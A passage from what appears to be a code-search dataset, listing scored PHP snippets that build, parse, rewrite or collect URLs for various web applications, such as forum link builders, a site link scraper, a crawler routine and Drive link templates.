\"Twitter\"=>\"Twitter\",\n \"Facebook\"=>\"Facebook\",\n \"LinkedIn\"=>\"LinkedIn\",\n \"Xing\"=>\"Xing\",\n \"Renren\"=>\"Renren\",\n \"GooglePlus\"=>\"GooglePlus\",\n \"Disqus\"=>\"Disqus\",\n \"Snapchat\"=>\"Snapchat\",\n \"Tumblr\"=>\"Tumblr\",\n \"Pinterest\"=>\"Pinterest\",\n \"Twoo\"=>\"Twoo\",\n \"YouTube\"=>\"YouTube\",\n \"Intagram\"=>\"Intagram\",\n \"Vine\"=>\"Vine\",\n \"WhatsApp\"=>\"WhatsApp\",\n \"Meetup\"=>\"Meetup\",\n \"Viber\"=>\"Viber\"];\n\n return $array;\n }", "title": "" }, { "docid": "7770fd81e69f2ac388d6c9bb1cf1f3ef", "score": "0.5687208", "text": "function urls($url){\n $array_content = array(\n \"urlGenero\" => \"/discover/movie?with_genres=\",\n \"urlOrig\" => \"/movie\",\n \"urlRecomendado\" => \"/trending/all/week&\",\n \"urlEmalta\" => \"/movie/top_rated?\",\n \"urlOrigNetflix\" => \"/discover/tv?with_network=\",\n \"urlImg\" => \"image.tmdb.org/t/p/\"\n );\n\n return $array_content[$url];\n}", "title": "" }, { "docid": "1d8304811dd9b4a59673753186d613c9", "score": "0.566195", "text": "function site_url_create_option($list, $uri, $key, $options)\n\t{\n\t\t$is_array = TRUE;\n\t\tif (!is_array($list))\n\t\t{\n\t\t\t$is_array = FALSE;\n\t\t\t$list = array($list);\n\t\t}\n\t\t\n\t\t$uri = strtolower($uri);\n\t\t$uri = trim($uri, '/');\n\t\t\n\t\tforeach ($list as $row)\n\t\t{\n\t\t\tforeach ($options as $option)\n\t\t\t{\n\t\t\t\t$row->{'_url_'.$option} = site_url($uri.'/'.$option.'/'.$row->{$key});\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn ($is_array) ? $list : $list[0];\n\t}", "title": "" }, { "docid": "e922d45ef7b1f69b181f0da0c3e82a77", "score": "0.56469214", "text": "public function buildAllLinks()\n {\n $links = array();\n foreach($this->table as $index=>$row)\n {\n if($row['slug'] != \"reillythate.com\")\n {\n $links[$row['id']] = $row['p_id'];\n //$links[$row['slug']] = $this->getRowFromId($row['p_id'])['slug'];\n }\n //array_push($links, $this->linkBySlug($row['slug']));\n }\n return $this->r($links);\n }", "title": "" }, { "docid": "13ba810eb61794e32cc3a8491446c2fc", "score": "0.5625699", "text": "function add_urls() {\n $this->add_index_url();\n\n $products_query = $this->get_products_query();\n while ($product = tep_db_fetch_array($products_query)) {\n $this->add_product_url($product);\n }\n }", "title": "" }, { "docid": "94f52374c1be4aa743c39552b3346a86", "score": "0.56187785", "text": "function urlTemplates() {\n $sharedlink = array();\n\n $sharedlink['application/vnd.google-apps.document'] = array(\n 'linktemplate' => 'https://docs.google.com/document/d/%s/edit?usp=sharing');\n $sharedlink['application/vnd.google-apps.presentation'] = array(\n 'linktemplate' => 'https://docs.google.com/presentation/d/%s/edit?usp=sharing');\n $sharedlink['application/vnd.google-apps.spreadsheet'] = array(\n 'linktemplate' => 'https://docs.google.com/spreadsheet/d/%s/edit?usp=sharing');\n $sharedlink['application/vnd.google-apps.folder'] = array(\n 'linktemplate' => 'https://drive.google.com/drive/folders/%susp=sharing');\n\n return $sharedlink;\n}", "title": "" }, { "docid": "fedf5f2fcffc29860ea3e96d0001dcf5", "score": "0.5611645", "text": "public function getListUrls(){\n //Get the current list\n $currentList = $this->getCurrent();\n\n //Process the list\n $return = array();\n foreach($currentList as $process){\n //Process each URL\n foreach($process[\"urls\"] as $url){\n $return[$url] = $process;\n }\n }\n\n //Return result\n return $return;\n }", "title": "" }, { "docid": "e64b38c276bdb5ad8c18de42ce747e3b", "score": "0.56114095", "text": "public function getUrlData()\n {\n $newUrl = $this->language->language_code . '/' . $this->flag . '/' . $this->url;\n\n return [\n 'url' => $newUrl,\n 'model' => self::class,\n 'model_id' => $this->id\n ];\n }", "title": "" }, { "docid": "dace4de7737b5c0f9f436135705ab649", "score": "0.5611188", "text": "public function testMultURLs() {\n $item = $this->getJSONStringFromFile(\"urls1.json\");\n $this->json_parser->parseJSON($item);\n $link_dao = DAOFactory::getDAO('LinkDAO');\n $link_dao->setLoggerInstance($this->logger);\n $links = $link_dao->getLinksForPost('36571640280125440');\n $this->assertEqual(sizeof($links), 2);\n $this->assertEqual($links[0]->url, 'http://tinyurl.com/5svx3w5');\n $this->assertEqual($links[1]->url, 'http://say.ly/aUK8DW');\n }", "title": "" }, { "docid": "86cf66ae56d1c7c70a355da0500946ce", "score": "0.56103534", "text": "public function i18nl10nNavItems(Array $items){\n if(empty($items)) {\n return $items;\n }\n //get item ids\n $item_ids = array();\n foreach($items as $row){\n $item_ids[]= $row['id'];\n }\n $languages = deserialize($GLOBALS['TL_CONFIG']['i18nl10n_languages']);\n $time = time();\n $fields = 'pid,title,pageTitle,description,language';\n if($GLOBALS['TL_LANGUAGE'] !=\n $GLOBALS['TL_CONFIG']['i18nl10n_default_language']){\n $localized_pages = $this->Database->prepare('\n SELECT '. $fields .' FROM tl_page_i18nl10n\n WHERE pid IN ( '.implode(', ',$item_ids).' )\n AND language = ? '\n .(!BE_USER_LOGGED_IN ? \" AND (start='' OR start<$time) AND (stop='' OR stop>$time) \n AND published=1\" : \"\")\n )->limit(1000)\n ->execute($GLOBALS['TL_LANGUAGE'])\n ->fetchAllassoc();\n }\n \n $c=0;//items index\n foreach($items as $item){\n if($GLOBALS['TL_LANGUAGE'] !=\n $GLOBALS['TL_CONFIG']['i18nl10n_default_language']){\n $d=0; \n foreach($localized_pages as $row) {\n if($row['pid']==$item['id']) {\n $items[$c]['language'] = $row['language'];\n $items[$c]['pageTitle'] =\n specialchars($row['pageTitle']);\n $items[$c]['title'] = specialchars($row['title']);\n $items[$c]['link'] = $items[$c]['title'];\n $items[$c]['description'] =\n specialchars($row['description']);\n $items[$c]['href'] =\n $this->generateFrontendUrl($items[$c]);\n //decrease iterations for each next items $items[$c] \n $localized_pages = array_delete($localized_pages,$d);\n break;\n }\n $d++;\n } //end foreach($localized_pages as $row)\n }\n else {\n $items[$c]['href'] = $this->generateFrontendUrl($item);\n }\n $c++;\n } // end foreach($items as $item)\n return $items;\n }", "title": "" }, { "docid": "b7f1baa1a2848cbb40cb222e5a2999f5", "score": "0.5608819", "text": "function getSiteUrl($url)\n {\n\n \n\n $packtPage = curlGet($url); \n $packtPageXpath = returnXPathObject($packtPage);\n $urllink = $packtPageXpath->query('//a/@href');\n if ($urllink->length > 0)\n {\n \n for($t = 0; $t < $urllink->length; $t++)\n {\n \n $sitelinks[] = $packtBook['urllink'][] = $urllink->item($t)->nodeValue ;\n \n }\n \n }\n \n echo \"<h1> \" . $t . \" site urls are found </h1><br>\";\n \n $val = 0;\n\n for($n = 0; $n < $t; $n++)\n {\n if( strpos($sitelinks[$n], \"javascript\") !== false || strpos($sitelinks[$n], \".js\") !== false)\n {\n continue;\n }\n else\n {\n\n $val = $val + 1;\n\n if ($sitelinks[$n][0] == '/')\n {\n $link = $sitelinks[$n] = $url.$sitelinks[$n];\n echo \"<a href='$link'>\" . $link . \"</a>\";\n // getSiteUrl($link);\n }\n else if ($sitelinks[$n][0] == 'h' && $sitelinks[$n][1] == 't')\n {\n $link = $sitelinks[$n];\n \n echo \"<a href='$link'>\" . $link . \"</a>\";\n\n // getSiteUrl($link);\n }\n else if ($sitelinks[$n][0] == '#')\n {\n continue;\n }\n else\n {\n $link = $sitelinks[$n];\n \n // $link = substr($link, 2);\n \n // $link = \"https://\" . $link;\n \n echo \"<a href='$link'>\" . $link . \"</a>\";\n\n // getSiteUrl($link);\n \n }\n }\n echo \"<br>\";\n }\n echo \"<br><br>\";\n echo \"<h1> \" . $val . \" found site urls are valuable </h1><br>\";\n }", "title": "" }, { "docid": "2b2d719cb4e080cee884c0812145fcc8", "score": "0.5596717", "text": "public function getAvailLanguagesLinks()\n {\n $trans = SGL_Translation3::singleton('array');\n $aLanguages = $trans->getAvailableLanguages();\n $i = 1;\n $total = count($aLanguages);\n if ($total > 1) {\n $htmlLinks = '<div class=\"lang\">';\n foreach ($aLanguages as $fullLangCode => $aLang) {\n $tA = '<a class=\"version %s\" href=\"%s\" title=\"%s\"><img src=\"%s\" alt=\"%s\" /></a>';\n $class = SGL::getCurrentLang() == $aLang[2] ? 'current' : '';\n $link = SGL_BASE_URL . '/index.php?lang=' . $fullLangCode;\n preg_match('/(\\w*)\\-utf\\-8$/', $aLang[1], $aMatches);\n $title = SGL_String::translate($aMatches[1] . ' version');\n $flagSrc = SGL_BASE_URL . '/themes/default/images/icons/flag_' . $aLang[2] . '.png';\n $text = $aLang[2];\n $htmlLinks .= sprintf($tA,\n $class, $link, $title, $flagSrc, $text);\n if ($i < $total) {\n //$htmlLinks .= '<span>|</span>';\n }\n $i++;\n }\n $htmlLinks .= '</div>';\n return $htmlLinks;\n }\n }", "title": "" }, { "docid": "0ccc4a9f1c96d24a6efa28cd9ee30d9f", "score": "0.5590312", "text": "public static function articles_urls ()\n {\n /** @var DbLayer $s2_db */\n $s2_db = \\Container::get(DbLayer::class);\n\n $subquery = array(\n 'SELECT'\t=> '1',\n 'FROM'\t\t=> 'articles AS a2',\n 'WHERE'\t\t=> 'a2.parent_id = a.id AND a2.published = 1',\n 'LIMIT'\t\t=> '1'\n );\n $raw_query_child_num = $s2_db->build($subquery);\n\n $query = [\n 'SELECT'\t=> 'a.id, a.title, a.create_time, a.modify_time, a.url, a.parent_id, ('.$raw_query_child_num.') IS NOT NULL AS children_exist',\n 'FROM'\t\t=> 'articles AS a',\n 'WHERE'\t\t=> '(a.create_time <> 0 OR a.modify_time <> 0) AND a.published = 1',\n ];\n\n $result = $s2_db->buildAndQuery($query);\n\n $articles = $urls = $parent_ids = [];\n for ($i = 0; $row = $s2_db->fetchAssoc($result); $i++)\n {\n $urls[$i] = urlencode($row['url']).(S2_USE_HIERARCHY && $row['children_exist'] ? '/' : '');\n\n $parent_ids[$i] = $row['parent_id'];\n\n $articles[$i]['time'] = $row['create_time'];\n $articles[$i]['modify_time'] = $row['modify_time'];\n }\n\n $urls = Model::get_group_url($parent_ids, $urls);\n\n foreach ($articles as $k => $v) {\n if (isset($urls[$k])) {\n $articles[$k]['rel_path'] = $urls[$k];\n }\n else {\n unset($articles[$k]);\n }\n }\n\n return $articles;\n }", "title": "" }, { "docid": "9f722b3d982aaf470c174dbb467f8a81", "score": "0.5587199", "text": "public function get_urls_as_key($opts = array())\n {\n $data = array(); $data['category'] = array();\n $c = $this->get_urls($opts);\n\n foreach ($c['feedurls'] as $u) {\n if ( trim($u) !== '') { \n //list($url, $cat) = explode('\"/', $u);\n list($url, $cat) = str_getcsv($u, ' ', '\"'); // PHP 5 >= 5.3.0\n $url = trim($url);\n //$cat = trim($cat, '\"');\n $cat = ltrim($cat, '/');\n //$data['by_url'][$url]['category'] = $cat; //not used\n $data['by_cat'][$cat][] = $url;\n\n $data['category'][] = $cat;\n $p = $this->newsbeuter->get_parentcategory($cat);\n if ( ! in_array($p, $data['category']) ) {\n $data['category'][] = $p;\n }\n\n }\n }\n $data['category'] = array_unique($data['category']);\n //natcasesort($data['category']); //not useful here\n\n return $data;\n\n }", "title": "" }, { "docid": "d0b118a55233b9d4508ac2f83f878630", "score": "0.55724174", "text": "private function appendURL(array $productsList) {\n $productsList[\"url\"] = constant(\"url\");\n return $productsList;\n }", "title": "" }, { "docid": "82056c9b5de9c35114e2a0b72f8be931", "score": "0.5570665", "text": "public function getLinks(): array;", "title": "" }, { "docid": "3e020a5c4c20f0da437dcf56ca54c683", "score": "0.5570085", "text": "public function setUrls(?array $urls): self;", "title": "" }, { "docid": "c7ed3eeb9b36c24dcdebea5d2995aab5", "score": "0.55600095", "text": "function phorum_build_common_urls()\n{\n $PHORUM=$GLOBALS['PHORUM'];\n\n $GLOBALS[\"PHORUM\"][\"DATA\"][\"URL\"][\"BASE\"] = phorum_get_url( PHORUM_BASE_URL );\n $GLOBALS[\"PHORUM\"][\"DATA\"][\"URL\"][\"HTTP_PATH\"] = $PHORUM['http_path'];\n\n $GLOBALS[\"PHORUM\"][\"DATA\"][\"URL\"][\"LIST\"] = phorum_get_url( PHORUM_LIST_URL );\n\n // those links are only needed in forums, not in folders\n if(isset($PHORUM['folder_flag']) && !$PHORUM['folder_flag']) {\n $GLOBALS[\"PHORUM\"][\"DATA\"][\"URL\"][\"POST\"] = phorum_get_url( PHORUM_POSTING_URL );\n $GLOBALS[\"PHORUM\"][\"DATA\"][\"URL\"][\"SUBSCRIBE\"] = phorum_get_url( PHORUM_SUBSCRIBE_URL );\n }\n\n // those are general urls, needed nearly everywhere\n $GLOBALS[\"PHORUM\"][\"DATA\"][\"URL\"][\"SEARCH\"] = phorum_get_url( PHORUM_SEARCH_URL );\n\n $index_id=-1;\n // in a folder\n\n if( $PHORUM['folder_flag'] && phorum_page != 'index'\n && ($PHORUM['forum_id'] == 0 || $PHORUM['vroot'] == $PHORUM['forum_id'])) {\n // folder where we usually don't show the index-link but on\n // additional pages like search and login its shown\n $index_id=$PHORUM['forum_id'];\n\n } elseif( ( $PHORUM['folder_flag'] &&\n ($PHORUM['forum_id'] != 0 && $PHORUM['vroot'] != $PHORUM['forum_id'])) ||\n (!$PHORUM['folder_flag'] && $PHORUM['active'])) {\n // either a folder where the link should be shown (not vroot or root)\n // or an active forum where the link should be shown\n\n if(isset($PHORUM[\"use_new_folder_style\"]) && $PHORUM[\"use_new_folder_style\"] ) {\n // go to root or vroot\n $index_id=$PHORUM[\"vroot\"]; // vroot is either 0 (root) or another id\n\n } else {\n // go to parent\n $index_id=$PHORUM[\"parent_id\"]; // parent_id is always set now\n\n }\n\n }\n if($index_id > -1) {\n // check if its the full root, avoid adding an id in this case (SE-optimized ;))\n if (!empty($index_id))\n $GLOBALS[\"PHORUM\"][\"DATA\"][\"URL\"][\"INDEX\"] = phorum_get_url( PHORUM_INDEX_URL, $index_id );\n else\n $GLOBALS[\"PHORUM\"][\"DATA\"][\"URL\"][\"INDEX\"] = phorum_get_url( PHORUM_INDEX_URL );\n }\n\n // these urls depend on the login-status of a user\n if ( $GLOBALS[\"PHORUM\"][\"DATA\"][\"LOGGEDIN\"] ) {\n $GLOBALS[\"PHORUM\"][\"DATA\"][\"URL\"][\"LOGINOUT\"] = phorum_get_url( PHORUM_LOGIN_URL, \"logout=1\" );\n $GLOBALS[\"PHORUM\"][\"DATA\"][\"URL\"][\"REGISTERPROFILE\"] = phorum_get_url( PHORUM_CONTROLCENTER_URL );\n $GLOBALS[\"PHORUM\"][\"DATA\"][\"URL\"][\"PM\"] = phorum_get_url( PHORUM_PM_URL );\n } else {\n $GLOBALS[\"PHORUM\"][\"DATA\"][\"URL\"][\"LOGINOUT\"] = phorum_get_url( PHORUM_LOGIN_URL );\n $GLOBALS[\"PHORUM\"][\"DATA\"][\"URL\"][\"REGISTERPROFILE\"] = phorum_get_url( PHORUM_REGISTER_URL );\n }\n}", "title": "" }, { "docid": "e9ac242e68f0705fd2487e86bda95c12", "score": "0.5559903", "text": "function add_url_to_multi_handle($mh, $url_list) {\n static $index = 0;\n\n // if we have another url to get\n if ($url_list[$index]) {\n\n // new curl handle\n $ch = curl_init();\n\n // set the url\n curl_setopt($ch, CURLOPT_URL, $url_list[$index]);\n // to prevent the response from being outputted\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n // follow redirections\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\n // do not need the body. this saves bandwidth and time\n curl_setopt($ch, CURLOPT_NOBODY, 1);\n\n // add it to the multi handle\n curl_multi_add_handle($mh, $ch);\n\n\n // increment so next url is used next time\n $index++;\n\n return true;\n } else {\n\n // we are done adding new URLs\n return false;\n }\n}", "title": "" }, { "docid": "e754c41efc1f6f59cd3563fefa28be21", "score": "0.55515695", "text": "private static final function explodeURL () {\n // Set\n self::$objGETAssoc = new A;\n self::$objURLOffset = new I (1);\n self::$objURLString = new S ('http');\n self::$objURLSegment = new A;\n\n // Switch\n switch ((isset ($_SERVER['HTTPS'])) && ($_SERVER['HTTPS'] == 'on')) {\n case TRUE:\n // Add a https:// in a secured HTTPS\n self::$objURLString->appendString ('s');\n self::$objURLString->appendString ('://');\n break;\n\n default:\n // Add the :// in a normal HTTP\n self::$objURLString->appendString ('://');\n break;\n }\n\n // SWitch\n switch ((isset ($_SERVER['SERVER_PORT'])) &&\n ($_SERVER['SERVER_PORT'] != '80')) {\n case TRUE:\n // Add :PORT to our STRING;\n self::$objURLString->appendString ($_SERVER['SERVER_NAME'] . ':'\n . $_SERVER['SERVER_PORT'] . $_SERVER['PHP_SELF']);\n\n // Increase offset\n self::$objURLOffset->doInc ();\n break;\n\n default:\n // Leave the string as it is\n self::$objURLString->appendString ($_SERVER['SERVER_NAME']\n . $_SERVER['PHP_SELF']);\n\n // Increase offset\n self::$objURLOffset->doInc ();\n break;\n }\n\n // Set an index;\n $objI = new I (-1);\n foreach (explode (_WS, preg_replace (self::SEARCH,\n self::TOKENS, self::$objURLString)) as $objV) {\n // Check\n if ($objV != _NONE) {\n // Set\n self::$objURLSegment[$objI\n ->doInc ()] = new S (trim ($objV));\n }\n }\n\n // Switch segments\n self::$objGETAssoc = self::fromURL (new I (self::countSegments (\n self::getSiteURL ())->toInt () + self::$objURLOffset->toInt ()));\n\n // Check\n if (self::$objGETAssoc instanceof A) {\n // Set\n $_GET = new A;\n\n // Foreach\n foreach (self::$objGETAssoc as $objK => $objV) {\n // Set & overwrite\n $_GET[$objK] = new S ((string) $objV);\n\n // Fixes\n $_GET[$objK] = $_GET[$objK]->decodeURL ();\n $_GET[$objK] = $_GET[$objK]->pregChange (self::PURGED, _NONE);\n $_GET[$objK] = $_GET[$objK]->trimLeft ();\n $_GET[$objK] = $_GET[$objK]->trimRight ();\n\n // Hacker proof\n if ($_GET[$objK]->toLength ()\n ->toInt () == 0) {\n // Set\n $_GET[$objK] = new S ('1');\n }\n }\n }\n }", "title": "" }, { "docid": "1d5ef5d83821c909888a73fdcbe8bd87", "score": "0.55500716", "text": "function extractUrl ($url_array){\n \n if(!is_array($url_array))\n return false;\n \n //Fix multi page no\n unset ($url_array['page-no']);\n foreach ($url_array as $k=>$r){\n \n if($url)$url.='&';\n $url .= $k.'='. $r;\n }\n \n return $url;\n}", "title": "" }, { "docid": "3e5fe60ba54b4cae9ee11a13430c215f", "score": "0.55338377", "text": "public function urlProvider()\n {\n return array(\n array('/'),\n array('/albums/'),\n array('/album/1'),\n array('/album/1/page/1'),\n // ...\n );\n }", "title": "" }, { "docid": "86411add8cdaeca7e13c83967d00661e", "score": "0.5524729", "text": "function urls_simple_dist($i, &$entite, $args = '', $ancre = '') {\n\tif (is_numeric($i)) {\n\t\tinclude_spip('urls/page');\n\n\t\treturn _generer_url_simple($entite, $i, $args, $ancre);\n\t}\n\t// traiter les injections du type domaine.org/spip.php/cestnimportequoi/ou/encore/plus/rubrique23\n\tif ($GLOBALS['profondeur_url'] > 0 and $entite == 'sommaire') {\n\t\treturn array(array(), '404');\n\t}\n\n\t// voir s'il faut recuperer le id_* implicite et les &debut_xx;\n\tif (is_array($args)) {\n\t\t$contexte = $args;\n\t} else {\n\t\tparse_str($args, $contexte);\n\t}\n\tinclude_spip('inc/urls');\n\t$r = nettoyer_url_page($i, $contexte);\n\tif ($r) {\n\t\tarray_pop($r); // nettoyer_url_page renvoie un argument de plus inutile ici\n\t\treturn $r;\n\t}\n\n\tif ($type = _request(_SPIP_PAGE)\n\t\tand $_id = id_table_objet($type)\n\t\tand $id = _request($_id)\n\t) {\n\t\t$contexte[$_id] = $id;\n\n\t\treturn array($contexte, $type, null, $type);\n\t}\n\n\t/*\n\t * Le bloc qui suit sert a faciliter les transitions depuis\n\t * le mode 'urls-propres' vers les modes 'urls-standard' et 'url-html'\n\t * Il est inutile de le recopier si vous personnalisez vos URLs\n\t * et votre .htaccess\n\t */\n\t// Si on est revenu en mode html, mais c'est une ancienne url_propre\n\t// on ne redirige pas, on assume le nouveau contexte (si possible)\n\t$url_propre = $i;\n\tif ($url_propre) {\n\t\tif ($GLOBALS['profondeur_url'] <= 0) {\n\t\t\t$urls_anciennes = charger_fonction('propres', 'urls', true);\n\t\t} else {\n\t\t\t$urls_anciennes = charger_fonction('arbo', 'urls', true);\n\t\t}\n\n\t\treturn $urls_anciennes ? $urls_anciennes($url_propre, $entite, $contexte) : '';\n\t}\n\t/* Fin du bloc compatibilite url-propres */\n}", "title": "" }, { "docid": "c06bb44e2f2ae01a1024295212501d6f", "score": "0.55224454", "text": "public function getUrlArgs(): array;", "title": "" }, { "docid": "779c7aabe7664454e6e834d14d9adb52", "score": "0.55201584", "text": "function LanguageLink( $InLink, $InLanguage )\n{\n$UrlArr=split( \"\\?\", $InLink );\n$NewQs=\"?\";\n\nif ( $UrlArr[1] )\n{\n\n $QsArr=split( \"\\&\", $UrlArr[1] );\n\n for ( $i=0; $i<=sizeof( $QsArr )-1; $i++ )\n {\n $InArr=split( \"\\=\", $QsArr[$i] );\n if ( $InArr[0] != \"language\" )\n $NewQs.=$QsArr[$i].\"&amp;\";\n }\n\n}\nif ( $InLanguage )\n $NewQs.=\"language=\".$InLanguage;\n\n$OutLink=$UrlArr[0].$NewQs;\n\nreturn $OutLink;\n\n}", "title": "" }, { "docid": "a12e5597e0e9d457d0d5bf2de3fc2b8e", "score": "0.55177546", "text": "private function addUrls($urls, $depth) {\n $re = '';\n // delete protocol and domain from $urls (if not to include subdomains)\n if($this->add_subdomain == 0) $urls = array_map(function($url){ return '/'. ltrim(preg_replace('@(http|https)://(www\\.){0,1}'. $this->domain .'@i', '', $url), '/');}, $urls);\n\n if($this->obsql) {\n // create array with $urls with and without ending '/'\n $urls0 = array_map(function($url){return ($url != '/') ? rtrim($url, '/') : $url;}, $urls); // removes ending '/'\n $urls1 = array_map(function($url){return ($url != '/') ? $url .'/' : $url;}, $urls0); // adds ending '/'\n $urls_double = array_unique(array_merge($urls0, $urls1));\n $urls0 = $urls1 = ''; // to free memory\n\n // if $reindex = 1, or Insert of 1st URL (to can actualize it), delete rows with $urls, else select to not add same url twice\n if($this->reindex == 1 || $this->seen_url[0] == '') $this->deletePages($urls_double);\n else {\n $sql = \"SELECT url FROM \". $this->tables['url'] .\" WHERE url IN('\". implode(\"','\", $urls_double) .\"')\";\n $resql = $this->obsql->sqlExec($sql);\n if($resql) {\n // If returned rows, removes those url from $urls\n if($this->obsql->num_rows > 0) {\n $num_rows = $this->obsql->num_rows;\n $urls = array_flip(array_filter($urls)); // exchange values and keys to can unset()\n\n for($i=0; $i<$num_rows; $i++) unset($urls[$resql[$i]['url']]);\n $urls = array_flip($urls); // exchange back values and keys\n }\n }\n else $re .= $this->obsql->error;\n }\n\n $vals = [];\n foreach($urls AS $url) $vals[] = \"('\". str_replace(\"'\", \"\\\\'\", $url) .\"', \". $depth .\")\";\n\n // if $max_urls > 0, sets how many urls to add from $vals, till $max_urls\n $nr_v = count($vals);\n if($this->max_urls > 0) {\n $nr_add = $this->max_urls - $this->nr_urls;\n if($nr_v > $nr_add) {\n $vals = array_slice($vals, 0, $nr_add);\n $nr_v = count($vals);\n }\n }\n\n if($nr_v > 0) {\n $sql = \"INSERT INTO \". $this->tables['url'] .\" (url, depth) VALUES \". implode(',', $vals);\n if($this->obsql->sqlExec($sql)) {\n $this->nr_urls += $nr_v;\n if($this->seen_url[0] == '') {\n $this->seen_url[0] = $urls[0]; // memory 1st added url, to not delete 2nd time when reindex\n\n // to not crawl again the starting url (without, or with ending '/')\n $this->seen_url[rtrim($this->start_url, '/')] = 1;\n $this->seen_url[rtrim($this->start_url, '/') .'/'] = 1;\n }\n $re .= '<div class=\"cl_b\">&bull; '. sprintf(getTL('ok_add_url'), $nr_v, $depth) .'</div>';\n }\n else $re .= '<div class=\"cl_r\">'. sprintf(getTL('er_add_url'), $url, $this->obsql->error) .'</div>';\n }\n }\n\n return $re;\n }", "title": "" }, { "docid": "c77b7d7f0c47e32c9b32935dd9e05cd9", "score": "0.55117095", "text": "public function getAllUrl() {\r\n if (!isset($this->sizes)) {\r\n $this->sizes = new \\stdClass();\r\n $this->sizes->{THUMB_SIZE} = \"/generate/{$this->itemid}?h=\".THUMB_SIZE.\"&t=\".time();\r\n }\r\n foreach ($this->sizes as $size => $item) {\r\n $items[ $size ] = $this->getUrl($size);\r\n }\r\n return $items;\r\n }", "title": "" }, { "docid": "fc58d39a7e704eeaa59cc4bb787e36a6", "score": "0.55058646", "text": "function miniCalLinks(){\n\t\t$this->arrLinks = array();\n\t\tif(strlen($this->strDataPath) > 0){\n\t\t\t$strDate = trim($this->strDate);\n\t\t\t$month = (int) date('m',time());\n\t\t\t$year = date('Y',time());\n\t\t\tif($strDate && count(explode(' ',$strDate)) == 2){\n\t\t\t\t$start = explode(' ',$strDate);\n\t\t\t\t$year = $start[1];\n\t\t\t\t$month = (int) $start[0];\n\t\t\t}\n\t\t\t$data = preg_split('/\\n/',trim(@file_get_contents($this->strDataPath)));\n\t\t\tforeach($data as $d){\n\t\t\t\t$line = preg_split('/ /',$d);\n\t\t\t\t$date_parts = array_map('intval',preg_split('/-/',array_shift($line)));\n\t\t\t\tif($year == $date_parts[0] && ($month == $date_parts[1])){\n\t\t\t\t\tif(array_key_exists($date_parts[2],$this->arrLinks)){\n\t\t\t\t\t\tif(is_string($this->arrLinks[$date_parts[2]][0])){\n\t\t\t\t\t\t\t$this->arrLinks[$date_parts[2]] = array($this->arrLinks[$date_parts[2]]);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$next = array(array_shift($line),htmlspecialchars(implode(' ',$line)));\n\t\t\t\t\t\tarray_push($this->arrLinks[$date_parts[2]],$next);\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$this->arrLinks[$date_parts[2]] = array(array_shift($line),htmlspecialchars(implode(' ',$line)));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "ca4ead127d42c6c9041fb1283585a7c1", "score": "0.5503832", "text": "private function outputInterlanguageLinks() {\n\t\tif ( $this->data['language_urls'] ) {\n\t\t\t$msgObj = $this->getMsg( 'otherlanguages' )->escaped();\n\t\t\t$content = $this->assemblePortlet( array(\n\t\t\t\t\t'id' => 'p-lang',\n\t\t\t\t\t'header' => $msgObj,\n\t\t\t\t\t'generated' => false,\n\t\t\t\t\t'content' => $this->data['language_urls']\n\t\t\t\t) );\n\n\t\t\t$this->outputSidebarChunk( 'other-languages', 'timeless-languages', $content );\n\t\t}\n\t}", "title": "" }, { "docid": "4f69f305320bedbf8f703b74a98b02b8", "score": "0.55029696", "text": "public function getUrlOptions()\n {\n $allPages = Page::sortBy('baseFileName')->lists('title', 'baseFileName');\n $pages = array(\n '' => Lang::get('benfreke.menumanager::lang.create.nolink')\n );\n foreach ($allPages as $key => $value) {\n $pages[$key] = \"{$value} - (File: $key)\";\n }\n\n return $pages;\n }", "title": "" }, { "docid": "4b04b1ba605d6fab26f2ca6e614f3e75", "score": "0.5501104", "text": "function reurl(){\r\n\r\n\t$options = fileRead('data/system_options.php');\t\r\n\t$scriptName = explode('index.php',$_SERVER['SCRIPT_NAME']);\r\n\t$rurl = substr($_SERVER['REQUEST_URI'], strlen($scriptName[0]));\r\n\t\r\n\tif(strpos($rurl,'?')==false){\r\n\t\r\n\t\tif(preg_match('/index.php/i',$rurl)){\r\n\t\t\t$rurl = str_replace('index.php','',$rurl);\r\n\t\t\t$rurl = substr($rurl, 1);\t\t\t\r\n\t\t\t$params = $rurl;\r\n\t\t}else{\r\n\t\t\t$params = $rurl;\r\n\t\t}\r\n\t\t\r\n\t\t\r\n\t\tif($rurl){\r\n\t\t\t\r\n\t\t\tif($options['site_urltype']==3){\r\n\t\t\t//http://localhost/group-topic-id-1.html\r\n\t\t\t\t$params = explode('.', $params);\r\n\t\t\t\t\r\n\t\t\t\t$params = explode('-', $params[0]);\r\n\t\t\t\r\n\t\t\t\tforeach( $params as $p => $v ){\r\n\t\t\t\t\tswitch($p){\r\n\t\t\t\t\t\tcase 0:$_GET['app']=$v;break;\r\n\t\t\t\t\t\tcase 1:$_GET['ac']=$v;break;\r\n\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tif($v) $kv[] = $v;\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$ck = count($kv)/2;\r\n\t\t\t\t\r\n\t\t\t\tif($ck>=2){\r\n\t\t\t\t\t$arrKv = array_chunk($kv,$ck);\r\n\t\t\t\t\tforeach($arrKv as $key=>$item){\r\n\t\t\t\t\t\t$_GET[$item[0]] = $item[1];\r\n\t\t\t\t\t}\r\n\t\t\t\t}elseif($ck==1){\r\n\t\t\t\t\t$_GET[$kv[0]] = $kv[1];\r\n\t\t\t\t}else{\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t}elseif($options['site_urltype']==4){\r\n\t\t\t//http://localhost/group/topic/id-1\r\n\t\t\t\t$params = explode('/', $params);\r\n\t\t\t\t\r\n\t\t\t\tforeach( $params as $p => $v ){\r\n\t\t\t\t\tswitch($p){\r\n\t\t\t\t\t\tcase 0:$_GET['app']=$v;break;\r\n\t\t\t\t\t\tcase 1:$_GET['ac']=$v;break;\r\n\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t$kv = explode('-', $v);\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tif(count($kv)>1){\r\n\t\t\t\t\t\t\t\t$_GET[$kv[0]] = 